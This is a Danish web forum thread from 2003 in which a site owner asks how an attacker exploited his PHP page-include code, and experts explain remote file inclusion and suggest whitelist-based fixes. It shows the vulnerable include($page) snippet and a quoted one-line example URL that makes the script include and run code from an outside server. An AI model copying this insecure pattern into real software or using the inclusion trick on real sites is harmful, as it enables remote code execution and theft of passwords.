Avatar billede emureactor Nybegynder
22. marts 2003 - 12:25 Der er 14 kommentarer og
1 løsning

Sikkerhed med index.php?page=

Jeg er for nylig blevet "hacket" af en meget venlig hacker som ville informere om et problem med sikkerheden af den variabel jeg bruger som hedder
?php

if (!$page) {
include("fil2.php");
include("path/til/en/eller/anden/fil/fil.php");
} else {
include($page);
}

?>

Han sagde med henvisning til http://www.php.net/manual/en/features.remote-files.php at det var let som ingenting at få fat i sourcekoden - og derfra havde han stjålet password til mit phpBB board som ellers skulle være rimlig sikkert

Er der nogen der kan forklare mig hvad der sker her ?
Avatar billede erikjacobsen Ekspert
22. marts 2003 - 12:30 #1
Ja, han kan jo skrive en vilkårlig fil i en URL. ...?page=vilk.fil
Det er skam meget farligt.
Avatar billede emureactor Nybegynder
22. marts 2003 - 12:32 #2
jamen hva skal han bruge det til - når jeg trykker en vilkårlig fil frem for jeg bare beskeden

Warning: open_basedir restriction in effect. File is in wrong directory in /usr/www/domain/public_html/index.php on line 59

Warning: Failed opening 'sds.php' for inclusion (include_path='.:/usr/local/lib/php') in /usr/www/domain/public_html/index.php on line 59
Avatar billede erikjacobsen Ekspert
22. marts 2003 - 12:35 #3
Han skal jo lige gætte det rigtige navn.
Avatar billede emureactor Nybegynder
22. marts 2003 - 12:35 #4
jamen alt mit er lavet i php jo ? hvad kan han præcist gøre ? - et eksempel på en fil som han kan åbne?
Avatar billede erikjacobsen Ekspert
22. marts 2003 - 12:41 #5
Dit site? ;))
Avatar billede emureactor Nybegynder
22. marts 2003 - 12:43 #6
hmm...er du på icq?

ellers www.emureactor.dk
Avatar billede erikjacobsen Ekspert
22. marts 2003 - 12:44 #7
Men ellers læs dette fra det link han gav:

php!at!sturmgewehr.de
24-Feb-2002 08:42

Be careful when you use something like index.php?showpage=news.php and include() that $showpage file.
If a malicious user would call your script as index.php?showpage=http://some.server/script.php it would include that script and run it in *your* script's scope. That means it can read all files and variables your webserver has access to!
Use file_exists() (which only works on local files) or check for 'tp:' in the filename prior to inclusion.

Så kan man alt.
Avatar billede erikjacobsen Ekspert
22. marts 2003 - 12:45 #8
Nej ikke icq. Luk din side ned indtil du har sikkerheden i orden. Og
det gælder forøvrigt også et andet site, der har været en del omtalt
her på eksperten.dk for sådan nogenlunde nyligt ... hehe
Avatar billede emureactor Nybegynder
22. marts 2003 - 12:47 #9
men..jeg aner ikk noget, hva kan man gøre for at undgå det her problem !?
Avatar billede erikjacobsen Ekspert
22. marts 2003 - 12:50 #10
Strukturer det om, så du ikke bruger din $page variabel.
Nå ikke?

Læg alle dine harmløse filer, der skal inkluderees, i et dertil
indrettet katalog. Check at $page kun indholder et filnavn, et
punktum og en ekstension. Og kun hvis den opfylder det, skal
den inkluderes. Regulære udtryk er velegnede.
Avatar billede emureactor Nybegynder
22. marts 2003 - 12:53 #11
jeg skal prøve - tak for hjælpen !
Avatar billede webmasterdk Praktikant
22. marts 2003 - 13:13 #12
erik >> kunne man ikk bare smide filer ind i en array..?
så ville man jo bare kunne hente dem med  ?page=1

if (!$page) {
include($include[1]);
include("path/til/en/eller/anden/fil/fil.php");
} else {
include($include[$page]);
}
Avatar billede erikjacobsen Ekspert
22. marts 2003 - 13:21 #13
Jo, så skal man lave det array hver gang. Og bør
for god ordens skyld checke at man får et lovligt tal.
Avatar billede stalle Nybegynder
22. marts 2003 - 14:11 #14
eller lav en switch med en default - findes den side man angiver ikke (symbolsk navn) så tager den default siden
Avatar billede emureactor Nybegynder
22. marts 2003 - 15:09 #15
ok drenge det blev jeg ikke klogere af!!! hvis der er en af jer der gider at hjælpe mig findes jeg på icq nummer 94310642

tak !
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester